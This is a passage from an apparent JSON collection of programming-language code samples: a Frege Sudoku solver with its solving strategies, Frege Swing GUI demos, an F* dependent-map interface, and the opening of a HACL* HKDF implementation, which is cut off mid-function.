(\"(hidden \" ++ show t ++ \" in \" ++ nm ++ \")\") |           -- SELECT pos, tuple, name\n            -- n <- [2,3,4],                    //  FOR n IN [2,3,4]\n            (nm, rcb) <- allrcb,             --    FOR rcb IN containers\n            fs = map (getf b) rcb,              --      let fs = fields for rcb positions\n            u  = (fold union [] . filter ((>1) . length) . map snd) fs,   -- let u = union of non single candidates\n            t <- n `outof` u,                   --      FOR t IN n-tuples\n            hit = (filter (any ( `elem` t) . snd) . filter (unsolved . snd)) fs,\n            length hit == n,\n            off = (fold union [] . map snd) hit `minus` t,\n            off != [],\n            (p, cell) <- hit,\n            ! (cell `subset` t)\n            ]\n\na `subset` b = all (`elem` b) a\na `union`  b = uniq (sort (a ++ b))\na `minus`  b = filter (`notElem` b) a\na `common` b = filter (`elem` b) a\nn `outof` as\n    | length as < n = []\n    | [] <- as      = []\n    | 1 >= n        = map (:[]) as\n    | (a:bs) <- as  = map (a:) ((n-1) `outof` bs) ++ (n `outof` bs)\n    | otherwise     = undefined  -- cannot happen because either as is empty or not\n\nsame f a b = b `elem` f a\n\nintersectionlist = [(allboxs, row, \"box/row intersection\"), (allboxs, col, \"box/col intersection\"),\n                    (allrows ++ allcols, box, \"line/box intersection\")]\nintersections b = [\n    turnoff pos [c] reason |    -- SELECT position, candidate, reson\n        (from, container, reason) <- intersectionlist,\n        rcb <- from,\n        fs = (filter (unsolved . snd) . map (getf b)) rcb,        -- fs = fields in from with more than 1 candidate\n        c <- (fold union [] • map snd) fs,                          -- FOR c IN union of candidates\n        cpos = (map fst • filter ((c `elem`) • snd)) fs,            -- cpos = positions where c occurs\n        cpos != [],                                                 -- WHERE cpos is not empty\n        all (same container (head cpos)) (tail cpos),               -- WHERE all positions are in the intersection\n        -- we can remove all occurences of c that are in container, but not in from\n        (pos, cell) <- map (getf b) (container (head cpos)),\n        c `elem` cell,\n        pos `notElem` rcb ]\n\n\n-- look for an XY Wing\n--  - there exists a cell A with candidates X and Y\n--  - there exists a cell B with candidates X and Z that shares a container with A\n--  - there exists a cell C with candidates Y and Z that shares a container with A\n-- reasoning\n--  - if A is X, B will be Z\n--  - if A is Y, C will be Z\n--  - since A will indeed be X or Y -> B or C will be Z\n--  - thus, no cell that can see B and C can be Z\nxyWing board = [ turnoff p [z] (\"xy wing \" ++ pname b ++ \" \" ++ pname c ++ \" because of \" ++ pname a) |\n        (a, [x,y]) <- board,                            -- there exists a cell a with candidates x and y\n        rcba = map (getf board) (row a ++ col a ++ box a),  -- rcba = all fields that share a container with a\n        (b, [b1, b2]) <- rcba,\n        b != a,\n        b1 == x && b2 != y || b2 == x && b1 != y,       -- there exists a cell B with candidates x and z\n        z = if b1 == x then b2 else b1,\n        (c, [c1, c2]) <- rcba,\n        c != a, c!= b,\n        c1 == y && c2 == z || c1 == z && c2 == y,       -- there exists a cell C with candidates y and z\n        ps = (uniq . sort) ((row b ++ col b ++ box b) `common` (row c ++ col c ++ box c)),\n        -- remove z in ps\n        (p, cs) <- map (getf board) ps,\n        p != b, p != c,\n        z `elem` cs ]\n\n-- look for a N-Fish (2: X-Wing, 3: Swordfish, 4: Jellyfish)\n-- When all candidates for a particular digit in N rows are located\n-- in only N columns, we can eliminate all candidates from those N columns\n--  which are not located on those N rows\nfish n board = fish \"row\" allrows row col ++ fish \"col\" allcols col row where\n    fishname 2 = \"X-Wing\"\n    fishname 3 = \"Swordfish\"\n    fishname 4 = \"Jellyfish\"\n    fishname _ = \"unknown fish\"\n    fish nm allrows row col = [ turnoff p [x] (fishname n ++ \" in \" ++ nm ++ \" \" ++ show (map (pname . head) rset)) |\n        rset <- n `outof` allrows,          -- take n rows (or cols)\n        x <- elements,                      -- look for certain number\n        rflds = map (filter ((>1) . length . snd) . map (getf board)) rset,       -- unsolved fields in the rowset\n        colss  = (map (map (head . col . fst) . filter ((x `elem`) . snd)) rflds),   -- where x occurs in candidates\n        all ((>1) . length) colss,         -- x must appear in at least 2 cols\n        cols = fold union [] colss,\n        length cols == n,\n        cstart <- cols,\n        (p, cell) <- map (getf board) (col cstart),\n        x `elem` cell,\n        all (p `notElem`) rset]\n\n\n-- compute immediate consequences of an assumption of the form (p `IS` e) or (p `ISNOT` e)\nconseq board (IS p e) = uniq (sort ([ p `ISNOT` x | x <- getc board p, x != e ] ++\n    [ a `ISNOT` e |\n        (a,cs) <- map (getf board) (row p ++ col p ++ box p),\n        a != p,\n        e `elem` cs\n    ]))\nconseq board (ISNOT p  e) = uniq (sort ([ p `IS` x | cs = getc board p, length cs == 2, x <- cs, x != e ] ++\n    [ a `IS` e |\n        cp <- [row p, box p, col p],\n        as = (filter ((e `elem`) . getc board) . filter (p!=)) cp,\n        length as == 1,\n        a = head as\n    ]))\n\n-- check if two assumptions contradict each other\ncontradicts (IS a x)    (IS b y)    = a==b && x!=y\ncontradicts (IS a x)    (ISNOT b y) = a==b && x==y\ncontradicts (ISNOT a x) (IS b y)    = a==b && x==y\ncontradicts (ISNOT _ _) (ISNOT _ _) = false\n\n-- get the Position of an Assumption\naPos (IS p _)    = p\naPos (ISNOT p _) = p\n\n-- get List of elements that must be turned off when assumption is true/false\ntoClear board true  (IS p x)    = filter (x!=) (getc board p)\ntoClear board false (IS p x)    = [x]\ntoClear board true  (ISNOT p x) = [x]\ntoClear board false (ISNOT p x) = filter (x!=) (getc board p)\n\n\n-- look for assumptions whose implications contradict themself\nchain board paths = [ solution a (head cs) (reverse cs) |\n        (a, css) <-  paths,\n        cs <- take 1 [ cs | cs <- css, contradicts a (head cs) ]\n        ]\n    where\n        solution a c cs = turnoff (aPos a) (toClear board false a) reason where\n            reason = \"Assumption \" ++ show a ++ \" implies \" ++ show c ++ \"\\n\\t\"\n                ++ showcs cs ++ \"\\n\\t\"\n                ++ \"Therefore, \" ++ show a ++ \" must be false.\"\n\n-- look for an assumption that yields to contradictory implications\n-- this assumption must be false\nchainContra board paths = [ solution a (reverse pro) (reverse contra) |\n        (a, css) <- paths,          -- FOR ALL assumptions \"a\" with list of conlusions \"css\"\n        (pro, contra) <- take 1 [ (pro, contra) |\n            pro <- (uniqBy (using head) . sortBy (comparing head)) css,                 -- FOR ALL conslusion chains \"pro\"\n            c = head pro,               -- LET \"c\" BE the final conclusion\n            contra <- take 1 (filter ((contradicts c) . head) css)   -- THE FIRST conclusion that contradicts c\n        ]\n      ]\n    where\n        solution a pro con = turnoff (aPos a) (toClear board false a) reason where\n            reason = (\"assumption \" ++ show a ++ \" leads to contradictory conclusions\\n\\t\"\n                        ++ showcs pro ++ \"\\n\\t\" ++ showcs con)\n\n\n\n-- look for a common implication c of some assumptions ai, where at least 1 ai is true\n-- so that (a0 OR a1 OR a2 OR ...) IMPLIES c\n-- For all cells pi in same container that have x as candidate, we can construct (p0==x OR p1==x OR ... OR pi==x)\n-- For a cell p with candidates ci, we can construct (p==c0 OR p==c1)\ncellRegionChain board paths = [ solution b as (map head os) |\n        as <- cellas ++ regionas,           -- one of as must be true\n        iss = filter ((`elem` as) . fst) paths,    -- the implications for as\n        (a, ass) <- take 1 iss,             -- implications for first assumption\n        fs <- (uniqBy (using head) . sortBy (comparing head)) ass,\n        b = head fs,                        -- final conclusions of first assumption\n        os = [fs] : map (take 1 . filter ((b==) . head) . snd) (tail iss), -- look for implications with same conclusion\n        all ([]!=) os]\n    where\n        cellas   = [ map (p `IS`) candidates | (p, candidates@(_:_:_)) <- board ]\n        regionas = [ map (`IS` e) ps |\n            region <- map (map (getf board)) (allrows ++ allcols ++ allboxs),\n            e <- elements,\n            ps = map fst (filter ((e `elem`) . snd) region),\n            length ps > 1 ]\n        solution b as oss = turnoff (aPos b) (toClear board true b) reason where\n            reason = \"all of the assumptions \" ++ joined \", \" (map show as) ++ \" imply \" ++ show b ++ \"\\n\\t\"\n                ++ joined \"\\n\\t\" (map (showcs . reverse) oss) ++ \"\\n\\t\"\n                ++ \"One of them must be true, so \" ++ show b ++ \" must be true.\"\n\n\n{-\n    Wir brauchen für einige Funktionen eine Datenstruktur wie\n        [ (Assumption, [[Assumption]]) ]\n    d.i. eine Liste von möglichen Annahmen samt aller Schlußketten.\n    Idealerweise sollte die Schlußkette in umgekehrter Reihenfolge vorliegen,\n    dann kann man einfach finden:\n    - Annahmen, die zum Selbstwiderspruch führen.\n    - alles, was aus einer bestimmten Annahme folgt (map (map head) [[a]])\n    -...\n-}\n--- Liste aller Annahmen für ein bestimmtes Brett\nassumptions :: Brett -> [Assumption]\nassumptions board = [ a |\n                (p, cs) <- board,\n                !(single cs),\n                a <- map (ISNOT p) cs ++ map (IS p) cs ]\n\nconsequences :: Brett -> [Assumption] -> [[Assumption]]\nconsequences board as = map (conseq board) as\n\nacstree :: Brett -> Tree Assumption [Assumption]\nacstree board = Tree.fromList (zip as cs)\n    where\n        as = assumptions  board\n        cs = consequences board as\n\n-- bypass maybe on tree lookup\nfind :: Tree Assumption [Assumption] -> Assumption -> [Assumption]\nfind t a\n    | Just cs <- t.lookup a = cs\n    | otherwise = error (\"no consequences for \" ++ show a)\n\n-- for performance resons, we confine ourselves to implication chains of length 20 per assumption\nmkPaths :: Tree Assumption [Assumption] -> [ (Assumption, [[Assumption]]) ]\nmkPaths acst = map impl  (keys acst)   -- {[a1], [a2], [a3] ]\n    where\n        -- [Assumption] -> [(a, [chains, ordered by length]\n        impl a = (a, impls [[a]])\n        impls ns = (take 1000 • concat • takeUntil null • iterate expandchain) ns\n        -- expandchain :: [[Assumption]] -> [[Assumption]]\n        expandchain css = [ (n:a:as) |\n            (a : as) <- css,               -- list of assumptions\n            n <- find acst a,              -- consequences of a\n            n `notElem` as                 -- avoid loops\n          ]\n        -- uni (a:as) = a : uni (filter ((head a !=) • head) as)\n        -- uni [] = empty\n        -- empty = []\n\n\n-- ------------------ SOLVE A SUDOKU --------------------------\n-- Apply all available strategies until nothing changes anymore\n-- Strategy functions are supposed to return a list of\n-- functions, which, when applied to a board, give a changed board.\n-- When a strategy does not find anything to alter,\n-- it returns [], and the next strategy can be tried.\nsolve b\n    | all (single . snd) b       = result \"Solved\" b\n    | any (([]==) . snd) b       = result \"not solvable\" b\n    | res@(_:_) <- reduce b       = apply b res >>=solve       -- compute smallest candidate sets\n    -- comment \"candidate sets are up to date\" = ()\n    | res@(_:_) <- hiddenSingle b  = apply b res >>= solve     -- find HIDDEN SINGLES\n    -- comment \"no more hidden singles\" = ()\n    | res@(_:_) <- intersections b = apply b res >>= solve     -- find locked candidates\n    -- comment \"no more intersections\" = ()\n    | res@(_:_) <- nakedPair 2 b     = apply b res >>= solve     -- find NAKED PAIRS, TRIPLES or QUADRUPELS\n    -- comment \"no more naked pairs\" = ()\n    | res@(_:_) <- hiddenPair  2 b   = apply b res >>= solve      -- find HIDDEN PAIRS, TRIPLES or QUADRUPELS\n    -- comment \"no more hidden pairs\" = ()\n    -- res@(_:_) <- nakedPair 3 b     = apply b res >>= solve       // find NAKED PAIRS, TRIPLES or QUADRUPELS\n    -- | comment \"no more naked triples\" = ()\n    -- res@(_:_) <- hiddenPair  3 b    = apply b res >>= solve      // find HIDDEN PAIRS, TRIPLES or QUADRUPELS\n    -- | comment \"no more hidden triples\" = ()\n    -- res@(_:_) <- nakedPair 4 b     = apply b res >>=solve       // find NAKED PAIRS, TRIPLES or QUADRUPELS\n    -- | comment \"no more naked quadruples\" = ()\n    -- res@(_:_) <- hiddenPair  4 b    = apply b res >>=solve      // find HIDDEN PAIRS, TRIPLES or QUADRUPELS\n    -- | comment \"no more hidden quadruples\" = ()\n    | res@(_:_) <- xyWing b            = apply b res >>=solve      -- find XY WINGS\n    -- comment \"no more xy wings\"       = ()\n    | res@(_:_) <- fish 2 b            = apply b res >>=solve      -- find 2-FISH\n    -- comment \"no more x-wings\"        = ()\n    -- res@(_:_) <- fish 3 b            = apply b res >>=solve      // find 3-FISH\n    -- | comment \"no more swordfish\"      = ()\n    -- res@(_:_) <- fish 4 b            = apply b res >>=solve      // find 4-FISH\n    -- | comment \"no more jellyfish\"      = ()\n    -- | comment pcomment                 = ()\n    | res@(_:_) <- chain b paths             = apply b (take 9 res) >>= solve  -- find forcing chains\n    | res@(_:_) <- cellRegionChain b paths   = apply b (take 9 res) >>= solve  -- find common conclusion for true assumption\n    | res@(_:_) <- chainContra b paths       = apply b (take 9 res) >>= solve  -- find assumptions that allow to infer both a and !a\n    -- comment \"consistent conclusions only\"       = ()\n\n    | otherwise = result \"ambiguous\" b\n    where\n        apply brd fs = foldM (\\b\\f -> f b) brd fs\n        paths = mkPaths (acstree b)\n        -- pcomment = show (length paths) ++ \" assumptions with \" ++ show (fold (+) 0 (map (length <~ snd) paths))\n        --    ++ \" implication chains\"\n\n-- comment com = do stderr << com << \"\\n\" for false\n-- log com     = do stderr << com << \"\\n\" for true\n\n--- turn a string into a row\nmkrow :: String -> [Zelle]\nmkrow s = mkrow1 xs\n    where\n        xs = s ++ \"---------\" -- make sure at least 9 elements\n        mkrow1 xs = (take 9 • filter ([]!=) • map f • unpacked) xs\n        f x | x >= '1' && x <= '9'  =  [ord x - ord '0']\n            | x == ' '  = []    -- ignored\n            | otherwise = elements\n\nmain [\"-h\"]    = main []\nmain [\"-help\"] = main []\nmain [] = do\n        mapM_ stderr.println [\n            \"usage: java Sudoku file ...\",\n            \"       java Sudoku position\",\n            \"where position is a 81 char string consisting of digits\",\n            \"One can get such a string by going to\",\n            \"http://www.sudokuoftheday.com/pages/s-o-t-d.php\",\n            \"Right click on the puzzle and open it in new tab\",\n            \"Copy the 81 digits from the URL in the address field of your browser.\",\n            \"\",\n            \"There is also a file with hard sudokus in examples/top95.txt\\n\"]\n        return ()\n\n\nmain [s@#^[0-9\\W]{81}$#] = solve board >> return ()\n    where\n        board = zip positions felder\n        felder = decode s\n\nmain files = forM_ files sudoku\n    where\n        sudoku file = do\n            br <- openReader file\n            lines <- BufferedReader.getLines br\n            bs <- process lines\n            ss <- mapM (\\b -> print \"Puzzle: \" >> printb b >> solve b) bs\n            println (\"Euler: \" ++ show (sum (map res012 ss)))\n            return ()\n\n-- \"--3-\" => [1..9, 1..9, [3], 1..9]\ndecode s = map candi (unpacked s) where\n        candi c | c >= '1' && c <= '9'  = [(ord c - ord '0')]\n                | otherwise = elements\nprocess [] = return []\nprocess (s:ss)\n    | length s == 81 = consider b1\n    | length s == 9,\n      length acht == 8,\n      all ((9==) • length) acht = consider b2\n    | otherwise = do\n            stderr.println (\"skipped line: \" ++ s)\n            process ss\n    where\n        acht = take 8 ss\n        neun = fold (++) \"\" (s:acht)\n        b1 = zip positions (decode s)\n        b2 = zip positions (decode neun)\n        consider b = do\n            -- print \"Puzzle: \"\n            -- printb b\n            bs <- process ss\n            return (b:bs)\n\n"
  },
  {
    "path": "samples/Frege/SwingExamples.fr",
    "content": "package examples.SwingExamples where\n\nimport Java.Awt  (ActionListener)\nimport Java.Swing\n\n\nmain _ = do\n    rs <- mapM Runnable.new [helloWorldGUI, buttonDemoGUI, celsiusConverterGUI]\n    mapM_ invokeLater rs\n    println \"Hit enter to end ....\"\n    s <- getLine\n    return ()\n\ncelsiusConverterGUI = do\n    tempTextField   <- JTextField.new()\n    celsiusLabel    <- JLabel.new ()\n    convertButton   <- JButton.new ()\n    fahrenheitLabel <- JLabel.new () \n    frame           <- JFrame.new ()\n    frame.setDefaultCloseOperation JFrame.dispose_on_close\n    frame.setTitle \"Celsius Converter\"\n    celsiusLabel.setText  \"Celsius\"\n    convertButton.setText \"Convert\"\n    let convertButtonActionPerformed _ = do\n            celsius <- tempTextField.getText\n            case celsius.double of\n                Left _  -> fahrenheitLabel.setText (\"not a valid number: \" ++ celsius)\n                Right c -> fahrenheitLabel.setText (show (c*1.8 + 32.0).long ++ \" Fahrenheit\") \n            return ()\n    ActionListener.new convertButtonActionPerformed >>= convertButton.addActionListener\n    fahrenheitLabel.setText \"Fahrenheit\"\n    contentPane <- frame.getContentPane\n    layout      <- GroupLayout.new contentPane\n    contentPane.setLayout layout\n    -- TODO continue\n    -- http://docs.oracle.com/javase/tutorial/displayCode.html?code=http://docs.oracle.com/javase/tutorial/uiswing/examples/learn/CelsiusConverterProject/src/learn/CelsiusConverterGUI.java\n    frame.pack\n    frame.setVisible true\n\nhelloWorldGUI = do\n    frame <- JFrame.new \"Hello World Frege\"\n    frame.setDefaultCloseOperation(JFrame.dispose_on_close)\n    label <- JLabel.new \"Hello World!\"\n    cp <- frame.getContentPane\n    cp.add label\n    frame.pack\n    frame.setVisible true\n\nbuttonDemoGUI = do\n    frame <- JFrame.new \"Button Demo\"\n    frame.setDefaultCloseOperation(JFrame.dispose_on_close)\n    newContentPane <- JPanel.new ()\n    b1::JButton <- JButton.new \"Disable middle button\"\n    b1.setVerticalTextPosition   SwingConstants.center\n    b1.setHorizontalTextPosition SwingConstants.leading\n    b2::JButton <- JButton.new \"Middle button\"\n    b2.setVerticalTextPosition   SwingConstants.center\n    b2.setHorizontalTextPosition SwingConstants.leading\n    b3::JButton <- JButton.new \"Enable middle button\"\n    b3.setVerticalTextPosition   SwingConstants.center\n    b3.setHorizontalTextPosition SwingConstants.leading\n    b3.setEnabled false\n    let action1 _ = do\n            b2.setEnabled false\n            b1.setEnabled false\n            b3.setEnabled true\n        action3 _ = do\n            b2.setEnabled true\n            b1.setEnabled true\n            b3.setEnabled false\n    ActionListener.new action1  >>= b1.addActionListener\n    ActionListener.new action3  >>= b3.addActionListener \n    newContentPane.add b1\n    newContentPane.add b2\n    newContentPane.add b3\n    newContentPane.setOpaque true\n    frame.setContentPane newContentPane\n    frame.pack\n    frame.setVisible true\n"
  },
  {
    "path": "samples/Fstar/FStar.DependentMap.fsti",
    "content": "(*\n   Copyright 2008-2018 Microsoft Research\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*)\n\nmodule FStar.DependentMap\n\n/// This module provides an abstract type of maps whose co-domain\n/// depends on the value of each key. i.e., it is an encapsulation\n/// of [x:key -> value x], where [key] supports decidable equality.\n///\n/// The main constructors of the type are:\n///   * [create]: To create the whole map from a function\n///   * [upd]: To update a map at a point\n///   * [restrict]: To restrict the domain of a map\n///   * [concat]: To concatenate maps by taking the union of their key spaces\n///   * [rename]: To rename the keys of a map\n///   * [map]: To map a function over the values of a map\n///\n/// The main eliminators are:\n///   * [sel]: To query the map for its value at a point\n///\n/// The interface is specified in a style that describes the action of\n/// each eliminator over each of the constructors\n///\n/// The map also supports an extensional equality principle.\n\n(** Abstract type of dependent maps, with universe polymorphic values\n    and keys in universe 0 with decidable equality *)\nval t (key: eqtype) (value: (key -> Type u#v)) : Type u#v\n\n(** Creating a new map from a function *)\nval create (#key: eqtype) (#value: (key -> Tot Type)) (f: (k: key -> Tot (value k)))\n    : Tot (t key value)\n\n(** Querying the map for its value at a given key *)\nval sel (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value) (k: key) : Tot (value k)\n\n(** Relating [create] to [sel] *)\nval sel_create (#key: eqtype) (#value: (key -> Tot Type)) (f: (k: key -> Tot (value k))) (k: key)\n    : Lemma (ensures (sel #key #value (create f) k == f k)) [SMTPat (sel #key #value (create f) k)]\n\n(** Updating a map at a point *)\nval upd (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value) (k: key) (v: value k)\n    : Tot (t key value)\n\n(** The action of selecting a key [k] a map with an updated value [v]\n    at [k]\n\n    This is one of the classic McCarthy select/update axioms in the\n    setting of a dependent map.\n    *)\nval sel_upd_same (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value) (k: key) (v: value k)\n    : Lemma (ensures (sel (upd m k v) k == v)) [SMTPat (sel (upd m k v) k)]\n\n(** The action of selecting a key [k] a map with an updated value [v]\n    at a different key [k']\n\n    This is one of the classic McCarthy select/update axioms in the\n    setting of a dependent map.\n    *)\nval sel_upd_other\n      (#key: eqtype)\n      (#value: (key -> Tot Type))\n      (m: t key value)\n      (k: key)\n      (v: value k)\n      (k': key)\n    : Lemma (requires (k' <> k))\n      (ensures (sel (upd m k v) k' == sel m k'))\n      [SMTPat (sel (upd m k v) k')]\n\n(** Extensional propositional equality on maps *)\nval equal (#key: eqtype) (#value: (key -> Tot Type)) (m1 m2: t key value) : prop\n\n(** Introducing extensional equality by lifting equality on the map, pointwise *)\nval equal_intro (#key: eqtype) (#value: (key -> Tot Type)) (m1 m2: t key value)\n    : Lemma (requires (forall k. sel m1 k == sel m2 k))\n      (ensures (equal m1 m2))\n      [SMTPat (equal m1 m2)]\n\n(** [equal] is reflexive *)\nval equal_refl (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value)\n    : Lemma (ensures (equal m m)) [SMTPat (equal m m)]\n\n(** [equal] can be eliminated into standard propositional equality\n    (==), also proving that it is an equivalence relation *)\nval equal_elim (#key: eqtype) (#value: (key -> Tot Type)) (m1 m2: t key value)\n    : Lemma (requires (equal m1 m2)) (ensures (m1 == m2)) [SMTPat (equal m1 m2)]\n\n(**** Restricting the domain of a map *)\n\n(** Restricts the domain of the map to those keys satisfying [p] *)\nval restrict (#key: eqtype) (#value: (key -> Tot Type)) (p: (key -> Tot Type0)) (m: t key value)\n    : Tot (t (k: key{p k}) value)\n\n(** The action of [sel] on [restrict] : the contents of the map isn't changed *)\nval sel_restrict\n      (#key: eqtype)\n      (#value: (key -> Tot Type))\n      (p: (key -> Tot Type0))\n      (m: t key value)\n      (k: key{p k})\n    : Lemma (ensures (sel (restrict p m) k == sel m k))\n\n(**** Concatenating maps *)\n\n/// Concatenating [t k1 v1] and [t k2 v2] produces a map\n/// [t (either k1 k2) (concat_value v1 v2)]\n///\n/// I.e., the key space varies contravariantly, to take the union of\n/// the component key spaces. The co-domain is the dependent product\n/// of the co-domains of the original map\n\n(** The key space of a concatenated map is the product of the key spaces *)\nlet concat_value\n      (#key1: eqtype)\n      (value1: (key1 -> Tot Type))\n      (#key2: eqtype)\n      (value2: (key2 -> Tot Type))\n      (k: either key1 key2)\n    : Tot Type =\n  match k with\n  | Inl k1 -> value1 k1\n  | Inr k2 -> value2 k2\n\n(** Concatenating maps *)\nval concat\n      (#key1: eqtype)\n      (#value1: (key1 -> Tot (Type u#v)))\n      (#key2: eqtype)\n      (#value2: (key2 -> Tot (Type u#v)))\n      (m1: t key1 value1)\n      (m2: t key2 value2)\n    : Tot (t (either key1 key2) (concat_value value1 value2))\n\n(** The action of [sel] on [concat], for a key on the left picks a\n    value from the left map *)\nval sel_concat_l\n      (#key1: eqtype)\n      (#value1: (key1 -> Tot (Type u#v)))\n      (#key2: eqtype)\n      (#value2: (key2 -> Tot (Type u#v)))\n      (m1: t key1 value1)\n      (m2: t key2 value2)\n      (k1: key1)\n    : Lemma (ensures (sel (concat m1 m2) (Inl k1) == sel m1 k1))\n\n(** The action of [sel] on [concat], for a key on the right picks a\n    value from the right map *)\nval sel_concat_r\n      (#key1: eqtype)\n      (#value1: (key1 -> Tot Type))\n      (#key2: eqtype)\n      (#value2: (key2 -> Tot Type))\n      (m1: t key1 value1)\n      (m2: t key2 value2)\n      (k2: key2)\n    : Lemma (ensures (sel (concat m1 m2) (Inr k2) == sel m2 k2))\n\n(**** Renamings *)\n\n/// Given a map from [key2] to [key1], we can revise a map from [t\n/// key1 v] to a map [t key2 v], by composing the maps.\n\n(** The type of the co-domain of the renamed map also involves\n    transformation along the renaming function *)\nlet rename_value\n      (#key1: eqtype)\n      (value1: (key1 -> Tot Type))\n      (#key2: eqtype)\n      (ren: (key2 -> Tot key1))\n      (k: key2)\n    : Tot Type = value1 (ren k)\n\n(** Renaming the keys of a map *)\nval rename\n      (#key1: eqtype)\n      (#value1: (key1 -> Tot Type))\n      (m: t key1 value1)\n      (#key2: eqtype)\n      (ren: (key2 -> Tot key1))\n    : Tot (t key2 (rename_value value1 ren))\n\n(** The action of [sel] on [rename] *)\nval sel_rename\n      (#key1: eqtype)\n      (#value1: (key1 -> Tot Type))\n      (m: t key1 value1)\n      (#key2: eqtype)\n      (ren: (key2 -> Tot key1))\n      (k2: key2)\n    : Lemma (ensures (sel (rename m ren) k2 == sel m (ren k2)))\n\n(**** Mapping a function over a dependent map *)\n\n(** [map f m] applies f to each value in [m]'s co-domain *)\nval map\n      (#key: eqtype)\n      (#value1 #value2: (key -> Tot Type))\n      (f: (k: key -> value1 k -> Tot (value2 k)))\n      (m: t key value1)\n    : Tot (t key value2)\n\n(** The action of [sel] on [map] *)\nval sel_map\n      (#key: eqtype)\n      (#value1 #value2: (key -> Tot Type))\n      (f: (k: key -> value1 k -> Tot (value2 k)))\n      (m: t key value1)\n      (k: key)\n    : Lemma (ensures (sel (map f m) k == f k (sel m k)))\n      [SMTPat (sel #key #value2 (map #key #value1 #value2 f m) k)]\n\n(** [map] explained in terms of its action on [upd] *)\nval map_upd\n      (#key: eqtype)\n      (#value1 #value2: (key -> Tot Type))\n      (f: (k: key -> value1 k -> Tot (value2 k)))\n      (m: t key value1)\n      (k: key)\n      (v: value1 k)\n    : Lemma (ensures (map f (upd m k v) == upd (map f m) k (f k v)))\n      [\n        //AR: wanted to write an SMTPatOr, but gives some error\n        SMTPat (map #key #value1 #value2 f (upd #key #value1 m k v))\n      ]\n\n\n/// We seem to miss lemmas that relate map to the other constructors,\n/// including create, restrict etc.\n"
  },
  {
    "path": "samples/Fstar/Hacl.HKDF.fst",
    "content": "module Hacl.HKDF\n\nmodule ST = FStar.HyperStack.ST\n\nopen FStar.HyperStack.All\n\nopen FStar.Mul\nopen FStar.Ghost\nopen FStar.HyperStack\nopen FStar.HyperStack.ST\nopen FStar.Buffer\nopen FStar.UInt32\n\n\n(* Definition of aliases for modules *)\nmodule U8 = FStar.UInt8\nmodule U32 = FStar.UInt32\nmodule U64 = FStar.UInt64\n\nmodule S8 = Hacl.UInt8\nmodule S32 = Hacl.UInt32\nmodule S64 = Hacl.UInt64\n\nmodule Buffer = FStar.Buffer\nmodule Cast = Hacl.Cast\n\nmodule Hash = Hacl.Hash.SHA2.L256\nmodule HMAC = Hacl.HMAC\n\n\n(* Definition of base types *)\nlet uint8_t   = FStar.UInt8.t\nlet uint32_t  = FStar.UInt32.t\nlet uint64_t  = FStar.UInt64.t\n\nlet suint8_t  = Hacl.UInt8.t\nlet suint32_t = Hacl.UInt32.t\nlet suint64_t = Hacl.UInt64.t\n\nlet suint32_p = Buffer.buffer suint32_t\nlet suint8_p  = Buffer.buffer suint8_t\n\n\n(* Definitions of aliases for functions *)\nlet u8_to_s8 = Cast.uint8_to_sint8\nlet u32_to_s8 = Cast.uint32_to_sint8\nlet u32_to_s32 = Cast.uint32_to_sint32\nlet u32_to_s64 = Cast.uint32_to_sint64\nlet s32_to_s8  = Cast.sint32_to_sint8\nlet s32_to_s64 = Cast.sint32_to_sint64\nlet u64_to_s64 = Cast.uint64_to_sint64\n\n\n\n//\n// HKDF\n//\n\n(* Define parameters *)\ninline_for_extraction let hashsize = HMAC.hashsize\ninline_for_extraction let hashsize_32 = HMAC.hashsize_32\ninline_for_extraction let blocksize = HMAC.blocksize\ninline_for_extraction let blocksize_32 = HMAC.blocksize_32\n\n\n\n(* Define HKDF Extraction function *)\nval hkdf_extract :\n  prk     :suint8_p{length prk = v hashsize} ->\n  salt    :suint8_p ->\n  saltlen :uint32_t{v saltlen = length salt} ->\n  ikm     :suint8_p ->\n  ikmlen  :uint32_t{v ikmlen = length ikm} ->\n  Stack unit\n        (requires (fun h0 -> live h0 prk /\\ live h0 salt /\\ live h0 ikm))\n        (ensures  (fun h0 r h1 -> live h1 prk /\\ modifies_1 prk h0 h1))\n\nlet hkdf_extract prk salt saltlen ikm ikmlen = HMAC.hmac prk salt saltlen ikm ikmlen\n\n\n\n[@\"c_inline\"]\nprivate val hkdf_expand_inner:\n  state   :suint8_p ->\n  prk     :suint8_p {v hashsize <= length prk} ->\n  prklen  :uint32_t {v prklen = length prk} ->\n  info    :suint8_p ->\n  infolen :uint32_t {v infolen = length info} ->\n  n       :uint32_t {v n <= pow2 8}->\n  i       :uint32_t {v i <= v n} ->\n  Stack unit\n        (requires (fun h0 -> live h0 state /\\ live h0 prk /\\ live h0 info))\n        (ensures  (fun h0 r h1 -> live h1 state /\\ modifies_1 state h0 h1))\n\n[@\"c_inline\"]\nlet rec hkdf_expand_inner state prk prklen info infolen n i =\n\n  (* Push a new memory frame *)\n  (**) push_frame();\n\n  (* Recompute the sizes and position of the intermediary objects *)\n  (* Note: here we favour readability over efficiency *)\n  let size_T = U32.mul_mod n hashsize in\n  let size_Ti  = hashsize in\n  let size_Til = hashsize +^ infolen +^ 1ul in\n  let pos_Ti = 0ul in\n  let pos_Til = size_Ti in\n  let pos_T = pos_Til +^ size_Til in\n\n  (* Retreive the memory for local computations. state =  Ti | Til | T *)\n  let ti = Buffer.sub state pos_Ti size_Ti in\n  let til = Buffer.sub state pos_Til size_Til in\n  let t = Buffer.sub state pos_T size_T in\n\n  if (i =^ 1ul) then begin\n\n    (* Concatenate T(i-1) | Info | i *)\n    Buffer.blit info 0ul til 0ul infolen;\n    Buffer.upd til (size_Til -^ 1ul) (u32_to_s8 i);\n\n    (* Compute the mac of to get block Ti *)\n    HMAC.hmac ti prk prklen til size_Til;\n\n    (* Store the resulting block in T *)\n    Buffer.blit ti 0ul t 0ul hashsize;\n\n    (* Recursive call *)\n    hkdf_expand_inner state prk prklen info infolen n (i +^ 1ul) end\n\n  else if (i <=^ n) then begin\n\n    (* Concatenate T(i-1) | Info | i *)\n    Buffer.blit ti 0ul til 0ul hashsize;\n    Buffer.blit info 0ul til 